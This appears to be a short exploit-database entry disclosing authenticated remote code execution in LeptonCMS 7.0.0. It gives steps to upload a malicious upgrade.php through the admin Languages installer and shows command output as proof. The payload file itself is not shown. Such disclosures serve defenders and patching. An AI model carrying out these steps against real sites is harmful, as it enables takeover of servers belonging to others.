Exploit Title: LeptonCMS : 7.0.0 Remote Code Execution

Date: 2024-1-19

Exploit Author: tmrswrr

Category: Webapps

Vendor Homepage: https://www.lepton-cms.com/

Version : 7.0.0

Tested on: https://www.softaculous.com/apps/cms/LEPTON

1 ) Login with admin cred > https://127.0.0.1/LEPTON/backend/login/index.php 2 ) Go to Languages place > https://127.0.0.1/LEPTON/backend/languages/index.php 3 ) Upload upgrade.php file in languages place > 4 ) After click install you will be see result

Result : uid=1000(lepton) gid=1000(lepton) groups=1000(lepton) uid=1000(lepton) gid=1000(lepton) groups=1000(lepton)